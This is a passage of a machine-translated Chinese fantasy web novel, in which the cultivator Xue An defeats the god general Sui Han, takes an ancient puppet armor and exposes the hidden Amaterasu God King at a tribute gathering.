    All of the dozens of array light curtains were shattered.


    But just at this time, I saw a brilliance rising into the sky, and then a majestic voice said angrily: "Who is it that dare to disturb my dormancy?"


    Following the voice, a man with muscular knots gradually emerged in the sky.


    As soon as he saw this person, Huo Geng couldn''t help but overjoyed, and rushed over, "Master God, this person coerced me to come to you! He also hurt you when he was in the Apocalypse Star Territory!"


    This big man seems to have just woke up from a long sleep, and his head is still a bit awkward.


    It wasn''t until Huo Geng reminded him that he gradually understood, and then stared at Xue An, who was stepping on the snow in the volley, with tyrannical air on his honest face.


    "Yes, you cut off my three fingers! I can''t remember your looks, but the breath on you can''t deceive me!"


    As he said, this big man raised his hand, and there were three missing fingers on his left hand.


    "Jian Xiu, your original sword was so vicious. After I came back, I tried to repair the wound several times, but I was blocked by the sword intent. The result has been delayed until now. I didn''t expect you to come here. Could you Aren''t you afraid of death?"


    With the last question, the big man almost roared out.


    And with his anger, within a thousand miles, the world changed color, and even the temperature dropped several degrees.


    The air has condensed a bit of ice crystals due to the low temperature.


    Xue An looked helplessly and pulled out his ears and then sighed: "Are you guys like yelling? Is there anything you can say?"


    The big man was angry, "Sword Xiu, you cut my account for the time being, and you just ruined my guardian formation. What are you going to do?"


    "It''s very simple, I want to go from you to the Central Palace!" Xue An said calmly.


    "Go to the middle palace?" The big man was taken aback.


    Huo Geng hurriedly said: "Yes, Lord God, this guy keeps going to the middle palace, and he also killed my two sons. You must avenge me!"


    The big man gradually showed a smirk when he heard the words, "Jian Xiu, you are good at strength, but you shouldn''t be so arrogant, you know..."


    Before he finished speaking, Xue An waved his hand and said impatiently: "Okay, you mean you don''t want to chant!"


    The big man proudly said: "Of course!"


    "That''s good! Then you go to death!" Xue An said lightly, raising his foot and stepping straight into the sky.

 Chapter 1102： Arctic field

    Before a while, Xue An''s figure resembled a streamer, and he rushed closer.


    Sui Han Shenjing gave a cold snort, raised his hand and blasted out a palm.


    I saw the clouds all over the sky gathered together, turning into a palm the size of a mile, and blasted towards Xue An like a cloud dragon probing its claws.


    Wherever the giant palm passed, because the temperature was too low, the air was even frozen and exploded.


    In the face of such a powerful blow, Xue An did not avoid it, and even the speed did not slow down at all, but rushed straight up like a sword slashing the sky.


    Bang.


    After a muffled sound, the cold mist caused by the two clashes instantly spread and enveloped the sky.


    Sui Han was also shaken back for half a step, and then looked at the sky full of cold fog with a slight amazement.


    do you died?


    Huo Geng couldn''t help but have this doubt in his mind.


    At this moment, the cold mist suddenly stirred, and then a lightning-fast figure came out from it.


    It is Xue An.


    At this moment, he was surrounded by sword aura, and his momentum was like a rainbow, approaching the old cold god.


    The God of Sui Han couldn''t help snorting angrily, "Sure enough, there are two shots, but I still have to die! Extreme Cold Domain!"


    boom!


    Give an order.


    Seeing Suihan as the center, within a radius of a hundred miles, the temperature suddenly dropped to the extreme.


    The extreme cold even freezes the air, forming a large vacuum.


    At this temperature, no life can survive, because even the atomic motion that constitutes the most basic matter is forcibly stopped.


    Xue An, who was already in a rapid pace, could not help but gradually slow down under the coverage of this field, and finally came to a standstill.


    When Xue An''s figure stopped, layers of ice and snow completely covered Xue An''s body.


    In an instant, Xue An became an ice sculpture.


    Sui Han smiled proudly to the sky, "Jian Xiu, although you are tyrannical, but you have forgotten that this is my home field! Because in the snow and ice, I am the king!"


    Huo Geng also laughed happily, "The Lord of the Gods is truly superb. This son is extremely arrogant. Now he is finally eating his own evil results. It''s so happy!"


    Both of them are happy and relaxed at the moment.


    Because after being hit by the extreme cold field, the extreme cold will destroy your structure directly from the atomic level,


    Unless you are a strong Da Luo, no one can survive.


    So they think Xue An must be dead and cannot die anymore.


    "Master God, this person first bad our two sons, and then killed my two sons, I will blast them to pieces, so that I can dispel my hatred!" Huo Geng said with hatred.


    Sui Han nodded, "Yes! Do it!"


    Huo Geng looked at Xue An''s "statue" and sneered: "The surname is Xue, it''s because you don''t know how to promote it. Now I will send you on the road!"


    As he said, he waved his hand and saw the spiritual energy transform into a huge chessboard, cage Xue An into the game, and then the chess pieces formed a square formation and smashed towards Xue An.


    This Huo Geng himself is good at chess game. This time he took an angry shot and the offensive was extremely fierce. This is no longer a problem of smashing into pieces. Obviously, he wanted to crush Xue An directly into powder.


    But just as the chess piece was about to arrive, a very subtle, but extremely crisp, cracking sound reached Huo Geng''s ears.


    Then I heard someone sigh slightly: "This skill, it''s a shame not to be a refrigerator!"


    With the voice, the sound of cracking like firecrackers came one after another. The ice chips that originally covered Xue An''s body broke apart, and then carried a strong power, and flew in all directions.


    Bang bang bang.


    Amidst the loud noise, the whole sky chess pieces were completely shattered by these ice crystals.


    Then I saw Xue An standing proudly in the void, looking at Huo Geng and Sui Han with indifferent expressions.


    "God... Lord God General!" Huo Geng''s voice trembled, and he exclaimed.


    The Sui Han God General was also taken aback, and then he said grimly: "You can actually break through my extreme cold field. You have a wonderful treasure that can withstand severe cold attacks!"


    With that, Sui Han''s eyes showed a touch of greed.


    To know the high value of a piece of Qibao, even if he is the No. 1 general under the Amaterasu God King, he does not have one. If Xue An really has it, he will not take it back at all costs.


    From beginning to end, he had never thought that Xue An was directly shattered in this extremely cold field purely by physical strength.


    Because for him, it''s impossible.


    Xue An also ignored his questioning. Instead, he lowered his head to look at the cols surrounded by hills and smiled slightly.


    "If I guessed correctly, the real path to Amaterasu Central Palace is in this col. The so-called Arctic City is just a cover, right?"


    Sui Han''s complexion changed slightly when he heard Xue An''s words, and then he said coldly, "So what?"


    "It is known as a god, but it is so concealed, like a mouse who dare not see the sky, what are you hiding? Do you have no idea?"


    Before Suihan could speak, Huo Geng jumped out first, "Xue, you..."


    Before he finished his words, Xue An raised his eyebrows slightly, and a bright sword light suddenly appeared in front of Huo Geng, cutting across.


    puff!


    The head fell to the ground, blood splashing.


    Huo Geng''s dead body was planted in midair.


    Xue An said coldly: "When facing the strong, you must maintain respect. Isn''t this... isn''t the criterion that your gods most need to abide by?"


    Sui Han was shocked by Xue An''s fierce slaughter.


    at the same time.


    Huo Geng''s soul flew out of the corpse in embarrassment, and then hid behind Sui Han in panic.


    "Master God, you have to call the shots for me!" Huo Geng shouted.


    Sui Han''s complexion gradually darkened, "Don''t worry, if this son is not removed, it will become a confidant of the Lord God King. Today, I will kill it!"


    As he said, he saw this year''s cold rising to the sky and roaring, and his figure soared.


    In an instant, it became huge.


    "The law is like the earth? Are you here to be funny?" Xue An said coldly.


    The method of heaven and earth refers to the technique of increasing one''s body shape and then using it for battle.


    But this kind of technique is used to bluff or crush opponents whose strength is far lower than their own.


    Waiting for Xue An''s level to use this technique to confront the enemy is purely seeking death.


    Sui Han Jiejie laughed strangely, "Don''t worry, this is just the beginning! Get up!"


    boom!


    There was a huge roar from under the ground and then we saw that the low hills that formed the col began to vibrate violently, and when the ice and snow covered on it fell, it suddenly appeared. Huge limbs exuding cold luster.


    These limbs rose up, and then flew to Sui Han''s side, instantly blending with him.


    In an instant, Suihan became a thousand feet tall, and his limbs were exuding a cold, biting luster.


    Sui Han smiled proudly, "If you have the surname Xue, you can be proud of me using this form! Go to hell!"


    With that said, Sui Han slapped it off.


    This palm hit Xue An as if the peak of the sky fell.


    Xue An raised his head and looked at the huge palm that was getting closer and closer, his eyes shining brightly, and a cold smile rose from the corner of his mouth.


    "Using the puppet technique in front of me, it seems that you really came to be funny!"

 Chapter 1103： Puppet armor

    As he spoke, he saw that the palm taken by Sui Han Shen Jiang suddenly stopped, and then the huge body exuding ice-cold luster began to wriggle like water.


    Sui Han God will be full of horror and roared: "What''s the matter?"


    Before he finished his words, he saw that all the limbs he had just summoned began to tremble, and then Qi Qi separated from him and flew to Xue An.


    Sui Han Shen Jiang''s body was shocked by the pain of pulling away his limbs. His figure, which was already a thousand feet tall, began to shrink like a flat ball.


    In an instant, his figure returned to normal.


    "What the **** did you do to me?" Sui Hanshen would forcefully contain the fear in his heart and asked loudly.


    At the same time, Xue An looked at the several puppet armors surrounding him and smiled faintly, "Don''t shout so loudly, I haven''t done anything to you!"


    "It''s just that these puppet armors are a bit awkward following you, so just summon them!"


    "You...you..." Sui Hanshen was trembling with anger, but a look of horror appeared in his eyes.


    Know that these puppet armors buried under the ice and snow are the strongest hole cards he is proud of.


    Because of this, he was called the number one general under the Amaterasu God King.


    But just now, these puppet armors, which had been refined by him, suddenly defied his orders and left the body directly.


    If it is as Xue An said, he was summoned to leave.


    How many secrets are still hidden in this young man?


    Sui Han Shen Jiang is calculating.


    Huo Geng poked his head out so desperately, and roared grimly: "The surname is Xue, don''t think that this will do anything, my house **** will be..."


    Before the words fell, Xue An narrowed his eyes.


    A divine mind swept across the air, directly exploding Huo Geng''s divine soul into fireworks in the sky.


    Then Xue An said calmly: "It''s really noisy to not even look at the situation before speaking!"


    Sui Han Shen took a half step back in horror. At this moment, he could no longer hold up any fighting spirit. He just wanted to stay as far away as possible from this demon-like young man.


    But he didn''t want to fight anymore, but Xue An didn''t plan to let him go.


    "Before I die, I will show you the real power of the puppet armor!"


    After all, these puppet armors that originally floated around Xue An began to deform.


    Countless gears exuding the beauty of cold machinery turned endlessly, and then assembled on Xue An''s body.


    In an instant, these puppet armors formed an extremely exquisite armor, which set off Xue An like a desolate ancient god, which made people afraid to look directly.


    The power exuded even squeezed out the cracks in the surrounding space.


    Seeing this, Sui Hanshen will not hesitate...turn around and run!


    That''s right, just ran away!


    I have to say that his speed is extremely fast, but a breathing scene has already flew thousands of miles away.


    It should be all right! Sui Han Shen thought to himself, and his pace slowed down a bit.


    But at this moment, someone on the back of his neck said lightly: "I can''t see how fast you run!"


    Sui Han Shen erected all his hairs on his body, and he didn''t even dare to turn his head back. The divine power of his whole body was urged to the extreme, and his speed increased by at least five times in an instant.


    In the rumbling sound.


    The God of Sui Han will fly across the sky with a powerful force of thunder and fly towards the sky.


    Everywhere they passed, the people on the ground looked up, and their faces were solemn.


    "what happened?"


    "I don''t know, it seems someone is running desperately!"


    And many sect experts hidden in this ice and snow world looked up with horror.


    "Have you seen it? The one who ran in front seemed to be the old cold **** general of Extreme Cold City!"


    "I feel like it too, but the Lord God is not guarding in the extremely cold city, what is going on suddenly running away?"


    "Could it be... someone was chasing?" someone said.


    Hearing this, many people curled their lips in disdain.


    "Don''t make trouble, Lord Suihan is the number one general under the God King, and his strength is comparable to the ancient gods. Who can hunt him down?"


    "That is, in our Tianzhao God Realm, Lord Suihan''s strength is top-notch, how could it be..."


    I haven''t finished the rest of the words, because at this moment, another streamer passed by at a faster speed in the sky, and in an instant it chased behind the running Sui Han.


    "Not fast enough! If you let me catch up again, then I will kill you directly!" The voice was calm and resounded throughout the world.


    And this sentence is like a whip, so that the cold and guts who had been running desperately, then crushed the steel teeth, gave up the energy to feed, and raised the speed that was already at the limit. Three points.


    At this time, the rumbling sound shook all the fields. Because the speed was too fast, Sui Han''s body was ignited due to friction and overheating. From a distance, it was like a burning man running.


    But even in this situation, there was a figure shrouded in armor behind him who was chasing after him.


    It feels... it really seems to be grazing.


    Everyone on the ground who saw this scene was stupid.


    No matter what the sect powerhouse or ordinary people, they all looked at them dumbfounded.


    At this moment, Xue An said calmly: "Okay, it''s getting late, it seems you have nothing new to do! The game is over!"


    With that, Xue An wanted to do it.


    But at this moment, Sui Han, who was running wildly, stopped suddenly, turned around, and then slowly knelt down amidst all the shocked eyes.


    "My lord, I admit defeat, please spare my life!"


    There is silence between heaven and earth.


    Everyone couldn''t help but open their mouths wide.


    Because this land is under the jurisdiction of the Arctic City, and Sui Han has dominated this land for thousands of years.


    Almost all the sect powerhouses have visited him in Extreme Cold City.


    At that time, all the gods and generals they saw at the time were all high above and beyond the world.


    So when today they saw the big man kneeling in the void with a flattering face, they couldn''t believe their eyes.


    what''s the problem?


    Who is this mysterious man in armor?


    Can Sui Han Gods kneel down and beg for mercy?


    At this moment, the mask of the puppet''s armor was automatically lifted, Xue An lowered his head, glanced at this Suihan, and then said with a smile, "Oh? Give up?"


    "Yes! Your majesty, I can''t, please spare my life!" Sui Han said very sincerely.


    "So it''s like this!" Xue An nodded.


    There was a hint of joy in Suihan''s eyes.


    But then, Xue An said lightly: "But why do I feel... so unreliable?"


    Sui Han''s expression froze, and then forced a smile: "My lord is joking, but I really surrendered! You..."

 Chapter 1104： Lost without examination

    Xue An waved his hand, "Okay, needless to say! You and I are not fools, and the Amaterasu God King is not a fool. Since he can put you in such an important position to guard, there must be a way to control you!"


    "Otherwise, just surrender like you casually. He is probably dead for eight times! Am I right?"


    The voice just fell.


    Sui Han, who knew that his true intentions had been exposed, jumped up, all over his body, and threw his life to deliver the strongest blow.


    This blow caused Fengyun to change its color, and the sky was reversed.


    Those who witnessed this scene on the ground, the weaker ones thumped and fell directly to the ground.


    Even the ones with good strength are pale and shaky, barely supporting them.


    But Xue An didn''t take any action, just standing so quietly, seemingly ready to resist the attack.


    There was joy in Suihan''s eyes.


    Even if Daluo came to his own life-threatening blow, he would have to retreat. Although this guy is strong, he is young and too big!


    But in the next second, all his complacency disappeared.


    Because the blow he thought he was going to win, after touching Xue An, there was a trembling sound of gold and iron, and then... disappeared!


    That''s right, it just disappeared so quietly.


    Not even a single mark was left on the armor.


    The scene became very awkward in an instant.


    Sui Han''s mouth twitched, and then forced a smile, "My lord, I''m actually playing with you!"


    "Oh? What about playing around?" Xue An seemed to smile.


    Sui Han nodded like garlic, "Yes, it''s just a joke!"


    But the voice hadn''t landed, and Xue An didn''t see any movement, but the whole person appeared in front of Sui Han''s body in an instant, and then raised his hand and directly choked his neck.


    In terms of size and body shape, Suihan looks more burly than Xue An.


    But when Xue An grabbed his neck, Sui Han felt as if there were two mountains between him, and he couldn''t move at all.


    Sui Han panicked and tried to break free.


    But now Xue An is wearing puppet armor, and he is so powerful that he can''t be shaken by ordinary divine power.


    At this time, Xue An slowly raised his hand, and Sui Han was also lifted into the air by Shengsheng.


    Although the gods did not need to breathe, Xue An''s pinch not only disconnected his meridians, but also directly pinched his own divine power flow.


    So Sui Han''s face turned into purple-black in just a moment.


    "How does this feel?" Xue An said lightly.


    At this moment, Sui Han had no fear in his eyes, and he said intermittently: "The surname...The surname is Xue, if you kill me, Lord God King will avenge me!"


    Xue An chuckled softly, "Well, then you go to the Lord God King who is waiting for you to meet you!"


    After saying this, Xue An''s fingers slammed hard.


    Bang.


    After a muffled sound, Xue Ansheng''s neck was chopped off by Sui Han, and his head rolled down, but before landing, it turned into a cold mist and dissipated.


    It turned out that Xue An not only chopped off his neck, but also crushed all his soul and cultivation base to smash.


    hiss!


    Everyone who witnessed this scene took a breath.


    This is too cruel!


    And who can destroy the general with one hand, who is this person?


    When everyone was terrified, Xue An looked around the world and said coldly: "My name is Xue An, remember this name, because soon... I will bloodbath the entire Amaterasu God Realm!"


    After all, Xue An turned around and disappeared into the sky as a streamer.


    After the audience was silent for a while, it boiled completely.


    "Xue An! Have you heard of this name?"


    "No! It looks like a strange face!"


    "Hehe, young and frivolous can be forgiven, but this is too ridiculous! He also bloodied the entire Amaterasu God Realm, if the Lord God heard it, it is estimated that he will not even survive today!"


    Some people were disdainful and didn''t believe Xue An''s words at all, but there were still many people who bowed their heads with fear.


    "Even the Suihan God General has fallen. I am afraid that from then on, Amaterasu God Realm will really become uneasy!" someone sighed softly.


    At the same time, Xue An has returned to the mountain col.


    At this time An Yan flew out of the Fu Bao Xiaolou.


    In fact, she was really uneasy, so she had been secretly perceiving it with divine mind, and when the storm outside subsided, she hurried out.


    But when he saw Xue An, who was covered in armor, he was taken aback.


    "How about, isn''t your husband handsome in this outfit?" Xue An smiled slightly.


    An Yan nodded uncontrollably, "Handsome!"


    Then he came forward curiously, and pulled the sparkling golden armor with his hands.


    "what is this?"


    Xue An smiled, his eyes flashed slightly, and the armor on his body began to fade like scales, and it instantly turned into a cyan-gold seal that was not square to the palm of his hand.


    "Wow, it''s amazing!" An Yan picked up this seal with a look of surprise, and looked at it over and over in his hand.


    "This should be the puppet armor handed down from ancient times, and it is from a master''s handwriting. It is ridiculous that the young man didn''t know the treasure, and he actually used this thing as a weapon!" Xue An explained.


    "Things handed down from ancient times!" An Yan was even more surprised.


    "Like it?"


    "Ok?"


    "If you like it, try it on!"


    "Me?" An Yan was a little dazed, and then shook his head, "I don''t want it. The armor is worn by a man, so I don''t like it!"


    Xue An smiled and stretched out his hand for this seal, and he saw a stream of light flashing, and then the seal began to deform rapidly, and in an instant it turned into a very beautiful dress, which was worn on An Yan.


    An Yan blinked his eyes, looked down at this exquisitely crafted and fashionable dress, and couldn''t believe his eyes.


    "Old...husband, how can this thing be deformed?"


    "Of course it can! It''s a pity that this puppet armor has been worn out for a long time has some defects, otherwise this armor alone will be enough to make you resist the full blow of Ronaldo and even the strong immortal king!"


    "Wow!" An Yan''s mouth opened, the boss, "Is this armor so powerful?"


    Xue An nodded, looked up at the sky, and said lightly: "Everyone knows that cultivators are tyrannical, but they don��t know that long ago, the alchemy civilization, as bright as the sun and the moon, was as powerful as today��s cultivators. what!"


    "Where did they go now?" An Yan asked in a daze.


    Xue An smiled and shook his head, "Maybe it doesn''t exist anymore, or there may be inheritance in some corners outside the heavens. In short, this universe is much more lively than you think!"


    An Yan couldn''t help showing a leisurely fascination.


    Xue An smiled slightly, and looked down at a teleportation map in the mountain col. "Yan''er, let''s go! After killing all the way for so long, I will finally see the master. Don''t let him wait too long. !"

 Chapter 1105： Amaterasu Nakamiya

    Amaterasu in the Palace.


    This is a vast land.


    In fact, the sun, moon and stars of the entire Amaterasu God Realm came out from here.


    So the scenery here is also very peculiar, half of the sky is day and the other half is night.


    Day and night exchange means that the two penetrate each other and eventually exchange camps.


    And in the middle of this vast expanse of land, stands an unpredictable mountain.


    If you stand at the foot of the mountain and look up, you will feel that the entire sky is supported by this mountain.


    Therefore this mountain is also called Qingtian Peak.


    And the lord of the gods in charge of the entire Amaterasu God Realm, Amaterasu God King!


    He lives in the Amaterasu Palace at the top of this mountain.


    now.


    The entire Qingtian Peak was filled with flying boats of various colors, and countless gods and powerhouses got off the flying boats and walked to the top of the mountain.


    The reason why it is so lively is that today is the day of tribute.


    By convention, on this day, all the powerful gods in the entire Amaterasu God Realm will come to see the Amaterasu God King.


    It''s just that for nearly a thousand years, this Amaterasu God King has almost never appeared again.


    Even for the gods living on this land, it is almost impossible to see the king of gods.


    Even so, after the day of the tribute, all the gods rushed over early, not daring to slack in the slightest.


    Although the mountain peak is high, it will come quickly under the feet of these strong men.


    And on the mountainside some distance from the top of the mountain, there is an extremely wide square.


    All the gods boarded the square, and then began to talk to each other.


    Although the tributary has existed in name only, it has become a common practice to exchange information through such gatherings.


    "Hey, do you think Lord God King will show up this time?" a **** asked softly.


    "I think it''s boring. Lord God King hasn''t shown up for thousands of years. The so-called tribute is just coming to lively and lively. It''s probably the same this time!" said another person.


    "Hey, have you heard that?"


    "What did you hear?"


    The speaker lowered his voice, "I heard rumors that Lord God King seems to have a problem with his cultivation, and his cultivation level has fallen drastically, so he hasn''t shown up for a thousand years!"


    As soon as these words came out, everyone around them became disgusted.


    "You don''t want to die? How dare you say this here?" One person sternly scolded, then raised his eyes and looked at the top of the mountain hidden behind the thick clouds in fear.


    He knew that after that cloud and mist, it was the middle palace.


    Hearing this person''s questioning, the person who spoke seemed indifferent.


    "Oh, it''s okay, why should I be so timid? Since I dare to say it, I must have confidence! And you think I am okay now?"


    With that said, he still looked indifferent.


    "but����."


    "That''s so much! If the Lord God King is normal, before I can say this, it is estimated that I will be annihilated!"


    Everyone was silent.


    But at this moment.


    Just heard an indifferent voice, "Oh? Listening to what you mean, does it seem to be that Lord God King is dead?"


    With the voice, I saw a bright light appearing above the square out of thin air.


    When Guanghua dissipated, she was a woman with a cold face.


    This woman is not extremely beautiful, but she is quite charming, but her face is cold and frightening.


    I saw this woman.


    Everyone on the square hurriedly bowed and saluted, "I have seen the head guard!"


    That''s right.


    The person who came was the chief guard who was the most trusted by the Amaterasu God King, and Qinghong had been the spokesperson for the thousand years when the Amaterasu God King was hidden from the world.


    Qing Hong nodded coldly, then looked at the person who had spoken before, and said lightly: "What you said just now, are you saying that Lord God King has an accident?"


    This person trembled, and there was a look of fear in his eyes, and then he shook his head in panic, "No...no, how dare I curse Lord God King? I just said some rumors from hearsay, please forgive Master Qinghong!


    Qing Hong had no words, still looking at him coldly.


    The man''s face became paler, and then he begged: "It''s me who deserve to die, I shouldn''t talk nonsense, please forgive Master Qinghong!"


    At this time, Qing Hong said coldly: "Die it yourself!"


    As soon as this sentence came out, the man threw a plop and knelt to the ground, wailing: "My lord..."


    Qinghong''s eyes narrowed slightly, "Don''t you listen to what I said?"


    The man was shocked, with a look of despair in his eyes, then bowed his head slumped, his head burst open, and then the dead body slowly fell to the ground.


    Qing Hong stepped forward, bent over and pulled a few times among the messy corpses, and then pulled out a slightly turbid crystal.


    This is the **** crystal that this person turns into after death.


    But after holding it in his hand, Qinghong weighed it lightly, and then shook it suddenly.


    With a click, this **** crystal was pinched in half.


    All the faces of everyone present were white.


    Because they know that this moment is equivalent to annihilation for the gods.


    These ruthless methods have really worked.


    When Qinghong looked around the audience again, everyone, no matter how high or low their cultivation level was, or how big or small their gods were, all bowed their heads respectfully.


    "I have seen Master Qinghong!"


    Qing Hong nodded with satisfaction, "Okay, this is just a lesson, but in the future, if I hear someone secretly say bad things about Lord God King, the consequences will be ten times more tragic than this. understand?"


    Everyone said in unison: "Yes!"


    Qing Hong walked slowly to a high platform in the middle of the square, looked around at everyone below, and said lightly: "The Lord God King is in retreat, so this tribute to his elderly will still not appear!"


    Then Qinghong''s gaze swept across everyone''s face, "Now I ask you, are everyone here?"


    No one dared to speak.


    Many people''s hands were shaking slightly.


    Maybe they left here, they are all strong deities guarding one side, but here, they dare not even lift their heads.


    "Don''t speak? Isn''t that going to ask me to check one by one? Huh?" Qing Hong said coldly.


    There was a slight commotion in the crowd, and then many people secretly glanced at each other.


    After a while, someone trembled: "Master Qinghong, the curse goddess has not come!"


    "Yes! The curse goddess did not come!"


    Amidst these shouts, Qinghong''s eyes grew coldCurse the goddess...! "


    She is too familiar with the name.


    For thousands of years, this new **** can be said to have made the limelight.


    It is said that now there is even hope to hit the big Luo strong.


    Unexpectedly, she would dare to be so arrogant that she would not even come to pay tribute.


    "Very well, it seems that this cursed goddess is consciously powerful, so he won''t even come to pay tribute!"


    No one dared to answer this question.


    But at this moment.


    I saw ripples in the void not far away, and then a figure slowly appeared.


    As they appeared together, there was a calm voice.


    "Sorry, the curse goddess can''t come anymore!"

 Chapter 1106： eye for eye

    All the gods present were taken aback.


    Immediately afterwards, seeing the ripples, Xue An walked out slowly, looked around the audience, and smiled at everyone.


    "Hello everyone!"


    Qing Hong''s expression changed, and he asked in a deep voice, "Who are you?"


    Xue An stared at the woman for a moment, and then faintly said: "It doesn''t matter who I am! The important thing is that I am here to kill everyone. I think everyone should have no objection!"


    boom!


    This sentence caused a commotion in the audience.


    "Where did the fanatics come from, really looking for death!"


    "Yes, kill him!"


    Without being ordered, the guards in charge of guards rushed into the air and dropped the killer.


    Each of these guards has a golden immortal cultivation base, and when combined with a blow, the power is even more powerful.


    But this blow suddenly turned into a breeze before and after it reached Xue An and disappeared invisible.


    Then Xue Anta took a step forward.


    boom!


    These guards all exploded and died unexpectedly.


    Blood spattered and stained the entire square.


    Xue An laughed, "This view is really good, doesn''t it look like it was when you killed other people before?"


    The whole audience was terrified.


    You must know that even though these people who died were just guards, they were not easy to deal with.


    Especially Xue An just took a step lightly, without the slightest spark of firework, and as a result, all these guards were killed on the spot.


    This kind of strength, many strong people sigh.


    And Xue An''s questioning made it difficult for many people to look.


    "Who are you? Why can you enter this world?" Amaterasu asked loudly.


    "Yes! How did you fool the guards outside?" someone else echoed loudly.


    Xue An faintly smiled, "The guardian god?"


    Then Xue An shook his head, "I''m sorry, when I came in, the **** general named Suihan was dead!"


    what?


    This news is even more shocking than the scene just now.


    Suihan is known as the first **** under the Amaterasu God King, and his strength is not inferior to ordinary ancient gods.


    But this boy in white actually said to kill him?


    It sounds like a fantasy!


    But if Sui Han did not die, how did this boy get in?


    Everyone was in surprise.


    The guard Chang Qinghong who had been silent all the time suddenly said loudly: "This son is extremely arrogant, let''s kill him!"


    This sentence reminds many people.


    There is no fool who can become a god. Naturally, he knows that since this young man in white dared to say that, he must have extremely strong strength.


    And he just killed many guards in one step, which also proved this.


    So these people joined hands together.


    Suddenly, seeing the brilliance on the square, the momentum was shocking.


    Hundreds of gods all acted together to kill Xue An in the air.


    After these attacks rose into the air, they were united into one, like a ferocious, bloodthirsty monster, rushing towards Xue An.


    Wherever he passed, the peaks were shaking and the space was shattered.


    But Xue An just sneered at this, "The so-called gods, haha..."


    After all, he pointed his finger at him, his eyes were bright, and he said lightly: "Cause and effect!"


    Xue An''s causal supernatural powers, which Xue An has not used for a long time, are once again present.


    Seeing the countless attacks that had originally rushed violently, they were stopped in midair in an instant.


    The brilliance that was about to bloom stopped, and the smoke that was about to spread also stagnated, and everything constituted a strange spectacle.


    All the gods were shocked.


    "Oh my God, the power of causality! This is a magical law that is stronger than the immortal law!" Someone screamed in despair.


    Everyone was shocked by it.


    The law of godliness, that is something that only exists in legends.


    Although they are precious gods, they have never been seen.


    In fact, don''t talk about the laws of the gods, even the laws of the gods, such as the strongest to the sharp, are not something ordinary people can have.


    Only those who have truly passed on for thousands of years can have it!


    Although the gods of Amaterasu are called gods, they are still far behind those inheritances.


    "Good vision!" Xue An smiled lightly, "Unfortunately, I still have to die!"


    After all, Xue An snapped a finger.


    "reverse!"


    boom!


    These sky-filled attacks, imprisoned by the power of cause and effect, turned their gun heads in a flash and aimed them at the caster.


    "No!" A **** screamed and wanted to dodge.


    But the power of causality is the law of heaven that directly interferes, not about speed.


    It''s as if you can''t avoid your shadow no matter how much you run.


    In an instant, all of these attacks fell on the person who showed them, and then returned them in the same way.


    Moreover, this kind of attack ignores the defense and directly acts on the godhead.


    Just listen to the terrible howling of the sky-shaking sound one after another.


    One **** after another burst like fireworks.


    In these strange and cruelly beautiful pictures, Xue An''s mouth showed a cold smile, and then turned to look at the guard Chang Qinghong.


    "This picture is so beautiful, isn''t it, Lord God King!"


    All the surviving gods were shocked by it.


    Lord God King?


    How is this going?


    Isn''t this the guard Changqinghong?


    But seeing that under the gaze of Xue An''s gaze, Qinghong''s eyes flashed with astonishment, and then gradually became bitter.


    "The strong, how did you know?"


    Xue An smiled faintly, "You are really covering up very well, even this Qinghong''s body spirit has not been wiped out, but directly parasitized in her spirit! But these can''t hide from me at all!


    As he said, Xue An��s eyes grew colder, "You are very smart, knowing that you have committed too many sins before, so in the past thousands of years, you have never shown up again. You just want to hide, but you don��t worry about the outside world. That��s why I turned into a ray of soul, and controlled everything with this face! I guess... right?"


    Hearing Xue An''s words, all the surviving gods and strong men were stupid.


    But no one doubts the authenticity of Xue An''s words.


    Because for thousands of years, many people have already had doubts in their hearts.


    After hearing this sentence, many doubts have very reasonable explanations.


    really.


    Seeing this Qinghong''s complexion gradually calmed down, he sighed softly, "The strong, you are right!"


    With the voice Qinghong has a powerful force soaring into the sky.


    Many gods around directly knelt to the ground, afraid to get up.


    And Qinghong''s face was shrouded in majestic brilliance, and then he said coldly: "Strong man, if I guess right, you should be a member of the Chinese nationality!"


    Xue An nodded, "Yes!"


    "really!"


    Qing Hong or the King of Amaterasu paused, "Thousands of years ago, I met an old man who was spying on the secrets of heaven. He told me that after a thousand years, there will be a strong Chinese coming to retaliate! I tried to escape. , I tried my best for a long time, but nothing changed!"


    Speaking of this, the Amaterasu God King��s voice contained a bit of bitterness, and then raised his head and said in a sincere tone: "Chinese powerhouse, the catastrophe ten thousand years ago, I am sorry! But everything Now that it is irretrievable, can you let me go?"


    "Sorry?" Xue An smiled coldly, then shook his head, "I don''t need your apologies, what I need is... blood debt!"

 Chapter 1107： Ancient Golden Crow

    Amaterasu God King''s complexion changed, and then said gloomily: "Chinese strong man, don''t think I am afraid of you, and what I did ten thousand years ago is not necessarily wrong!"


    "Oh? You''re right? Is it the Chinese that is wrong?" Xue An said coldly.


    "That''s not true, who made the Chinese at that time know how to work?" Amaterasu God King sneered.


    Xue An''s eyes grew colder, and he waved his hand, "Okay! Needless to say, no matter what you say! Today is your death date!"


    After all, Xue An took a step, and the whole person appeared in front of Amaterasu God King, raising his hand with a punch.


    The power of this fist directly shook out the surrounding powerhouse gods with shallow cultivation.


    But the Amaterasu God King did not face the punch directly, instead he retreated sharply, and sneered at the same time: "Chinese strong man, I have given you enough face, this is not your own interest!"


    "Give me face? You deserve it?"


    Xue An replied unceremoniously, his fist suddenly accelerated, and in a moment he caught up with the Amaterasu God King who was retreating frantically.


    boom!


    After a loud noise, the body of the **** king Amaterasu burst open, and blood was spilled on the ground.


    Is this over?


    Many people were taken aback.


    Xue An didn''t show any relaxation at all.


    Because he knew that the real battle had just begun.


    really.


    Then I heard the sigh of a person from the sky.


    "It doesn''t matter if young people are arrogant, but they are too arrogant, that is, they are looking for death!"


    With the voice, I saw that the originally black and white sky suddenly faded, and in the middle of the sky, a round of scorching sun suddenly appeared.


    This round of arrogant sunshine is so powerful that it illuminates the entire land, and the power it exudes is that everyone who oppresses is prostrate on the ground, unable to lift their heads.


    In an instant.


    On the huge square, only Xue An stood proudly.


    Xue An raised his head and looked at this round of scorching sun, ignoring the clamor of the Amaterasu God King, just said lightly.


    "It turns out that it was transformed by the ancient Golden Crow. No wonder Country R dared to claim to be a country where R was born. In that case, you should be the **** who came out of the earth in the first place!"


    In fact, Xue Anda had doubts about the identity of this Amaterasu God King and the entire Amaterasu Gods from the beginning.


    Because all kinds of clues show that these gods are inextricably linked with the gods in the myths and legends circulated in R country.


    It was not until seeing this round of scorching sun that Xue An was sure that these so-called Amaterasu gods were not native gods in the gods at all, but were born on the earth just like the original Nordic king Odin.


    Before uniting with the information Xue An found in the cemetery where the ancient **** had fallen, all clues became clear.


